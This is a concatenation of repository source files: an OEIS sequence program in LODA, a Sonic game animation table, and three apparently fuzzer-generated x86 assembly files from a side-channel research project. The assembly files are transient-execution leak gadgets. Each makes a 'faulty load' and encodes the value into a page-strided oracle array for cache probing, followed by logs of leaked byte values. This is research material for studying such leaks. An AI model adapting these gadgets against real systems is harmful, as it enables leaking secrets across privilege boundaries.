4bab82a377d6c131dddf555379289b3097e1353f
1,021
asm
Assembly
programs/oeis/080/A080036.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/080/A080036.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/080/A080036.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A080036: a(n) = n + round(sqrt(2*n)) + 1. ; 1,3,5,6,8,9,10,12,13,14,15,17,18,19,20,21,23,24,25,26,27,28,30,31,32,33,34,35,36,38,39,40,41,42,43,44,45,47,48,49,50,51,52,53,54,55,57,58,59,60,61,62,63,64,65,66,68,69,70,71,72,73,74,75,76,77,78,80,81,82,83,84,85,86,87,88,89,90,91,93,94,95,96,97,98,99,100,101,102,103,104,105,107,108,109,110,111,112,113,114,115,116,117,118,119,120,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,271,272 mov $1,$0 lpb $0,1 add $1,1 add $2,1 trn $0,$2 lpe add $1,1
92.818182
909
0.698335
6ad7751963b89ce552f8749bf52c37f11924978c
270
asm
Assembly
_anim/obj08.asm
vladjester2020/Sonic1TMR
22e749a2aab74cc725729e476d6252b071c12e42
[ "Apache-2.0" ]
null
null
null
_anim/obj08.asm
vladjester2020/Sonic1TMR
22e749a2aab74cc725729e476d6252b071c12e42
[ "Apache-2.0" ]
2
2019-06-13T14:26:59.000Z
2019-10-10T13:15:14.000Z
_anim/obj08.asm
vladjester2020/Sonic1TMR
22e749a2aab74cc725729e476d6252b071c12e42
[ "Apache-2.0" ]
null
null
null
; --------------------------------------------------------------------------- ; Animation script - water splash (LZ) ; --------------------------------------------------------------------------- dc.w byte_145C6-Ani_obj08 byte_145C6: dc.b 4, 0, 1, 2, $FC, 0 even
45
78
0.274074
0873792f9dcd567bd92fb69a5937de70fe6f1aeb
5,659
asm
Assembly
Transynther/x86/_processed/NC/_ht_zr_/i9-9900K_12_0xca_notsx.log_2019_945.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_ht_zr_/i9-9900K_12_0xca_notsx.log_2019_945.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_ht_zr_/i9-9900K_12_0xca_notsx.log_2019_945.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %r9 push %rax push %rcx push %rdi push %rdx push %rsi lea addresses_UC_ht+0x1a9a4, %r8 add $60869, %rax mov $0x6162636465666768, %rdx movq %rdx, %xmm0 movups %xmm0, (%r8) nop nop add %r13, %r13 lea addresses_A_ht+0x84a4, %rsi lea addresses_WT_ht+0x5664, %rdi nop nop nop cmp $14817, %rax mov $124, %rcx rep movsq nop nop nop nop nop sub $23727, %rdi lea addresses_UC_ht+0x13874, %rsi lea addresses_A_ht+0x143a4, %rdi nop nop nop nop xor $23122, %r9 mov $78, %rcx rep movsb and $60777, %rdx lea addresses_D_ht+0xdca4, %rsi lea addresses_WC_ht+0x3c1e, %rdi add $1262, %r8 mov $112, %rcx rep movsl nop nop nop nop nop add $12222, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r9 push %rbp push %rdi push %rsi // Store mov $0x4065120000000ca4, %r9 clflush (%r9) nop nop nop nop and %r14, %r14 mov $0x5152535455565758, %rbp movq %rbp, %xmm5 movaps %xmm5, (%r9) nop nop nop nop nop add $4117, %r10 // Store lea addresses_PSE+0x3a24, %rsi nop cmp %r9, %r9 mov $0x5152535455565758, %rdi movq %rdi, (%rsi) // Exception!!! nop nop nop nop nop mov (0), %rsi nop add %rbp, %rbp // Faulty Load mov $0x4065120000000ca4, %r9 nop nop add $37833, %r15 movups (%r9), %xmm0 vpextrq $1, %xmm0, %rbp lea oracles, %rsi and $0xff, %rbp shlq $12, %rbp mov (%rsi,%rbp,1), %rbp pop %rsi pop %rdi pop %rbp pop %r9 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 6}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_A_ht'}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 11, 'type': 'addresses_D_ht'}, 'dst': {'same': True, 'congruent': 0, 'type': 'addresses_WC_ht'}} {'46': 166, '00': 1851, '45': 2} 00 00 00 00 00 46 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 46 00 00 00 00 46 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 46 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 46 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 46 00 46 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 46 46 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 46 00 00 00 46 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 46 00 00 00 00 46 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 46 00 00 00 00 00 00 00 00 46 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 46 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 46 00 00 00 46 00 00 00 00 00 00 46 46 00 00 00 46 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 46 00 00 00 00 00 00 00 00 00 00 00 46 46 00 00 00 46 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 45 00 00 00 00 46 00 00 00 00 00 46 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 00 00 46 00 00 00 00 00 00 46 00 00 00 00 00 46 00 00 00 00 00 00 46 00 00 00 00 00 00 00 46 00 00 00 00 00 00 00 00 00 00 */
39.027586
2,999
0.659304
e5af5fc2929423a3a05082acb96b89183b439ff8
7,827
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0xca_notsx.log_21829_1843.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0xca_notsx.log_21829_1843.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_zr_sm_/i7-7700_9_0xca_notsx.log_21829_1843.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r14 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1c820, %r12 nop nop nop nop xor $30543, %rax mov (%r12), %r14d and %r14, %r14 lea addresses_normal_ht+0x5d2c, %rdx nop nop nop nop and %rbp, %rbp mov (%rdx), %r12d nop and $4582, %r14 lea addresses_normal_ht+0x584c, %rsi lea addresses_normal_ht+0x17bec, %rdi nop nop nop cmp $52034, %r14 mov $122, %rcx rep movsb cmp %r12, %r12 lea addresses_A_ht+0x11bec, %rsi lea addresses_WC_ht+0x1746c, %rdi nop nop add $64387, %rax mov $84, %rcx rep movsl xor $26917, %rax lea addresses_UC_ht+0xb24d, %rbp cmp $7699, %rdx mov (%rbp), %cx nop sub $37856, %rbp lea addresses_WT_ht+0x1cf6c, %rsi nop nop nop and %r12, %r12 mov $0x6162636465666768, %rcx movq %rcx, %xmm6 vmovups %ymm6, (%rsi) nop nop nop nop sub %rdx, %rdx lea addresses_normal_ht+0x7ec, %rsi lea addresses_WC_ht+0x1dec, %rdi clflush (%rdi) nop nop nop and $25477, %r14 mov $112, %rcx rep movsl nop nop cmp $61140, %rbp lea addresses_D_ht+0x1a396, %rdi nop nop add %r12, %r12 movw $0x6162, (%rdi) nop nop nop cmp $49953, %rbp lea addresses_WT_ht+0xcbec, %rdx nop nop and %rdi, %rdi movb (%rdx), %cl inc %r12 lea addresses_A_ht+0x1aa06, %r12 nop nop and %rdx, %rdx mov $0x6162636465666768, %rbp movq %rbp, %xmm4 movups %xmm4, (%r12) and $55655, %rax lea addresses_WT_ht+0x406c, %rdx xor %rcx, %rcx mov (%rdx), %ax nop sub $24014, %rsi lea addresses_normal_ht+0xb234, %rcx nop nop nop and $54107, %rdi mov $0x6162636465666768, %rsi movq %rsi, %xmm0 and $0xffffffffffffffc0, %rcx vmovntdq %ymm0, (%rcx) nop nop nop nop add %rsi, %rsi lea addresses_D_ht+0xefc, %rsi lea addresses_D_ht+0x1abec, %rdi clflush (%rsi) clflush (%rdi) cmp %r12, %r12 mov $45, %rcx rep movsl nop dec %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r14 pop %r12 ret .global s_faulty_load s_faulty_load: push %r12 push %r13 push %r15 push %rbx push %rdi push %rdx // Store lea addresses_RW+0x3ec, %r15 cmp $12734, %r12 mov $0x5152535455565758, %rbx movq %rbx, (%r15) nop nop nop nop nop dec %r15 // Store lea addresses_D+0x1aec, %r12 clflush (%r12) add $59636, %rdx mov $0x5152535455565758, %r13 movq %r13, %xmm4 vmovups %ymm4, (%r12) nop nop nop nop nop cmp %rdi, %rdi // Faulty Load lea addresses_RW+0x3ec, %rbx nop nop nop nop add $8997, %rdx movaps (%rbx), %xmm0 vpextrq $0, %xmm0, %rdi lea oracles, %rbx and $0xff, %rdi shlq $12, %rdi mov (%rbx,%rdi,1), %rdi pop %rdx pop %rdi pop %rbx pop %r15 pop %r13 pop %r12 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'} {'src': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 6, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'} {'src': {'congruent': 10, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'} {'dst': {'NT': True, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 3, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM'} {'00': 764, '58': 21065} 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 00 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
36.069124
2,999
0.657084
ac7615fb2b62d7c65afeb850310cc304dbf4238f
6,404
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_2518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_2518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_2518.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r8 push %r9 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x1d47, %rsi lea addresses_UC_ht+0x1c219, %rdi nop nop inc %r9 mov $127, %rcx rep movsq nop nop nop xor %rdi, %rdi lea addresses_A_ht+0x17947, %rsi lea addresses_WT_ht+0x17d47, %rdi nop inc %r9 mov $0, %rcx rep movsb nop sub $60416, %rbx lea addresses_normal_ht+0xd547, %rax nop and %r8, %r8 movups (%rax), %xmm7 vpextrq $0, %xmm7, %rbx nop nop nop nop nop xor $62717, %rdi lea addresses_A_ht+0x1e847, %rsi lea addresses_UC_ht+0x3c47, %rdi nop lfence mov $64, %rcx rep movsl nop nop nop nop nop sub $42589, %rdi lea addresses_UC_ht+0x14047, %rsi nop nop nop xor $56296, %rbx movw $0x6162, (%rsi) nop nop nop nop and $44534, %rbx lea addresses_WT_ht+0x11d47, %rdi clflush (%rdi) nop nop nop nop nop xor $22119, %rax mov (%rdi), %r9w nop nop nop nop add %r8, %r8 lea addresses_A_ht+0x19047, %rsi lea addresses_WC_ht+0x18e73, %rdi nop nop nop nop cmp $62425, %r12 mov $97, %rcx rep movsl nop add $47320, %rdi lea addresses_WC_ht+0x98b7, %rsi lea addresses_D_ht+0x14947, %rdi sub $53411, %rax mov $20, %rcx rep movsw nop nop nop nop nop xor %r9, %r9 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r9 pop %r8 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r14 push %r15 push %r8 push %rbx push %rdi push %rdx // Store lea addresses_D+0xed47, %r10 xor $54638, %rdi movl $0x51525354, (%r10) add %r10, %r10 // Faulty Load lea addresses_D+0xed47, %r14 nop nop nop nop nop and $6145, %r8 vmovntdqa (%r14), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $1, %xmm0, %rbx lea oracles, %rdi and $0xff, %rbx shlq $12, %rbx mov (%rdi,%rbx,1), %rbx pop %rdx pop %rdi pop %rbx pop %r8 pop %r15 pop %r14 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 32, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WT_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_UC_ht', 'same': True, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_WC_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'a5': 2, '80': 75, 'a6': 2, '49': 11428, '00': 10144, 'ff': 4, '45': 164, '08': 10} 49 49 00 00 49 00 49 00 49 49 49 49 49 49 00 49 00 49 00 49 00 49 49 49 00 00 49 00 00 00 49 49 49 49 00 49 49 49 00 00 49 49 49 49 00 00 49 49 49 49 49 49 49 49 49 49 49 00 49 49 00 00 49 49 49 49 49 49 00 00 00 00 49 49 49 00 49 49 49 49 00 49 00 49 00 00 49 00 49 00 00 00 49 49 49 80 49 00 00 00 49 49 00 49 49 00 00 00 00 00 49 00 00 49 49 00 00 49 49 49 00 00 49 49 00 49 49 00 49 49 49 00 49 49 49 00 49 49 49 49 49 00 49 49 00 49 00 00 49 00 49 49 49 00 00 49 49 00 00 49 00 49 49 00 00 00 80 49 00 49 49 49 00 00 49 49 49 80 00 49 49 00 00 00 49 49 49 00 00 49 49 49 49 49 49 49 00 49 00 49 00 00 49 00 49 00 49 49 49 00 00 49 49 49 49 00 49 49 00 49 49 00 00 00 49 00 49 00 49 49 49 49 49 00 00 49 00 49 49 49 49 00 49 49 00 49 49 49 49 00 49 00 00 49 49 00 00 00 49 49 00 00 49 49 49 00 00 00 00 49 00 00 49 49 49 49 00 00 49 00 49 49 00 00 49 49 49 00 49 49 49 49 00 45 00 49 00 49 00 49 00 00 49 00 00 49 00 49 49 00 00 00 49 00 49 00 49 00 00 49 00 00 49 49 49 49 49 49 00 00 00 00 49 00 49 00 49 49 49 49 49 49 00 00 49 00 49 49 00 49 00 49 49 00 00 49 49 49 49 00 00 49 00 49 00 49 49 00 49 00 49 49 49 49 49 00 00 49 00 00 00 49 49 00 49 49 49 00 00 00 49 49 49 00 00 49 00 00 00 49 00 80 49 00 49 49 49 00 00 00 00 49 00 00 49 49 00 00 49 00 00 49 49 00 00 00 49 49 49 00 00 49 49 00 00 45 00 49 49 00 49 49 49 00 00 49 00 49 00 49 00 49 49 49 49 49 49 00 49 00 00 00 49 49 49 00 49 49 00 49 00 00 49 49 00 49 49 00 49 49 49 00 49 00 00 49 49 00 00 49 49 00 49 00 49 00 00 00 49 00 49 49 00 00 49 00 00 00 00 49 00 49 00 00 00 49 00 00 49 00 49 49 00 49 49 49 00 00 49 49 00 00 49 49 49 49 00 49 49 00 00 00 00 49 49 49 49 49 00 00 49 49 49 00 49 49 00 49 00 49 00 00 00 49 49 00 00 00 00 00 49 49 00 00 49 00 00 00 49 00 49 a5 00 00 00 49 80 00 00 00 00 49 49 49 49 00 49 80 00 49 00 49 00 49 49 00 49 00 49 00 49 49 49 00 00 49 45 00 49 49 00 49 49 49 00 00 49 00 49 00 00 49 49 00 49 49 49 49 49 00 00 00 00 49 49 49 49 00 00 49 49 49 49 49 49 00 00 00 00 49 49 00 49 00 00 49 00 00 00 00 49 00 49 49 00 00 49 49 00 49 49 49 49 49 00 00 49 49 49 00 00 00 00 00 49 00 00 00 49 00 49 49 00 49 00 00 49 00 00 49 00 00 49 00 49 45 49 49 49 00 00 00 49 00 00 00 49 00 49 49 00 00 00 49 00 00 49 49 49 00 49 00 49 49 49 00 49 00 49 49 49 00 49 49 49 49 49 00 49 00 00 00 49 00 45 00 49 49 49 00 00 00 00 00 49 00 00 49 00 00 49 49 00 00 49 49 00 00 00 49 49 00 49 00 00 00 00 00 49 49 00 00 00 49 49 49 00 49 00 49 00 00 00 00 49 49 00 00 49 00 00 00 00 00 00 00 49 00 49 49 00 00 49 49 00 00 00 00 49 49 49 00 49 00 49 00 49 49 00 00 00 49 00 00 00 00 49 49 00 49 49 49 00 00 00 00 49 00 49 00 00 00 49 00 49 00 49 49 49 00 00 00 00 00 49 00 00 49 00 49 00 49 00 49 49 00 00 49 00 00 49 00 49 49 49 00 00 00 00 00 49 49 00 49 00 49 00 00 00 00 49 00 49 00 00 49 49 49 49 49 49 00 00 49 00 00 49 49 49 00 49 49 00 00 49 49 00 00 49 49 49 49 49 49 00 49 49 00 00 00 49 00 00 49 49 49 49 49 00 00 49 49 00 00 49 00 00 00 00 00 00 00 00 49 00 49 00 00 